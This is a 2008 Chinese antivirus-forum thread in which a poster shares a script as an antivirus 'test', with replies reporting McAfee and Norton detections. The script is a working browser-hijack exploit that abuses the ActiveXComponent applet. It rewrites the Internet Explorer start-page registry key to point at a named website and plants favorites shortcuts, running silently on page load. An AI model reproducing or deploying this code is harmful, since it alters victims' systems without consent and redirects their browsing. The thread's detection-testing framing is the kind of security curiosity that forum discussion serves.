查看: 3050|回复: 11
收起左侧

[砖头] 一个小测试

 关闭 [复制链接]
小邪邪
发表于 2008-7-20 16:29:09 | 显示全部楼层 |阅读模式
首先把下面这段无聊的代码复制起来,然后新建一个记事本,再把这些个内容复制进去,然后保存

====================================================================================

<SCRIPT>     
  document.write("<APPLET   HEIGHT=0   WIDTH=0   code=com.ms.activeX.ActiveXComponent></APPLET>");     
  //
  function   AddFavLnk(loc,   DispName,   SiteURL)     
  {     
  var   Shor   =   Shl.CreateShortcut(loc   +   ""   +   DispName   +".URL");   
   
  //
   
  Shor.TargetPath   =   SiteURL;     
  Shor.Save();     
  }     
  //end   add   favorites   or   links   function     
  function   f(){     
  try     
  {     
  //ActiveX   initialization     
  a1=document.applets[0];//
  a1.setCLSID("");   //com
  a1.createInstance();   //  
  Shl   =   a1.GetObject();   //
  a1.setCLSID("");   //  
  a1.createInstance();     
  FSO   =   a1.GetObject();   //  
  a1.setCLSID("");     
  a1.createInstance();     
  Net   =   a1.GetObject();   //a1   
  try     
  {     
  if   (document.cookie.indexOf("Chg")   ==   -1)     
  {     
  Shl.RegWrite   ("HKCUSoftwareMicrosoftInternet   ExplorerMainStart   Page",   "http://sqdj.k666.com/");   
   
  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));     
  document.cookie="Chg=general;   expires="   +   expdate.toGMTString()   +   ";   path=/;"     
  //end   set   home   page     
  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));     
  document.cookie="Chg=general;   expires="   +   expdate.toGMTString()   +   ";   path=/;"     
  //end   Write   Regedit     
  //add   favorites   this   is   the   common   part;   should   be   here   if   you   want   to   add   favorites     
  var   WF,   Shor,   loc;     
  WF   =   FSO.GetSpecialFolder(0);   
   
   
  loc   =   WF   +   "Favorites";     
  if(!FSO.FolderExists(loc))     
  {     
  loc   =   FSO.GetDriveName(WF)   +   "Documents   and   Settings"   +   Net.UserName   +   "Favorites";   //net.username
  if(!FSO.FolderExists(loc))     
  {     
  return;     
  }     
  }     
  //end   common   part     
  //the   following   line   is   used   for   adding   favorites.     
  //to   add   multiple   favorites,   duplicate   the   following   line,   changing   the   last   2   paramaters.     
  AddFavLnk(loc,   "");     
  //end   add   favorites     
   
   
  }     
  }     
  catch(e)     
  {}     
  }     
  catch(e)     
  {}     
  }     
  function   init()     
     
  {     
  setTimeout("f()",   1000);     
  }     
  init();     
  </SCRIPT>   

=============================================================================

然后再打开一看发现里面的内容被XX了
小邪邪
 楼主| 发表于 2008-7-20 16:33:18 | 显示全部楼层
保存:

mcafee报警:

保存后再打开一看:


文本还在,就是里面的内容被XX了,真是个没事干的无聊测试

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ybbykk
头像被屏蔽
发表于 2008-7-20 16:41:47 | 显示全部楼层
不知道保存为BAT后,运行,会有什么后果,把监控关了的话
nicholasleee
发表于 2008-7-20 16:44:15 | 显示全部楼层
什么样子的代码?
gzh87
发表于 2008-7-20 17:00:17 | 显示全部楼层
的确有点无聊,类似的也看过了……
jone_jys
头像被屏蔽
发表于 2008-7-20 19:08:02 | 显示全部楼层
hehe  马上试哈的
gho
发表于 2008-7-20 19:08:20 | 显示全部楼层
不知道对系统有什么危害?
kuontherun
发表于 2008-7-20 19:21:42 | 显示全部楼层
看见代码里有个网址链接
不过不敢点
目前裸奔中
jiebozhang
发表于 2008-7-20 21:34:36 | 显示全部楼层
Exploit.Applet.ActiveXComponent
hum
发表于 2008-7-20 22:01:14 | 显示全部楼层
N360也干掉了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 01:43 , Processed in 0.127791 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表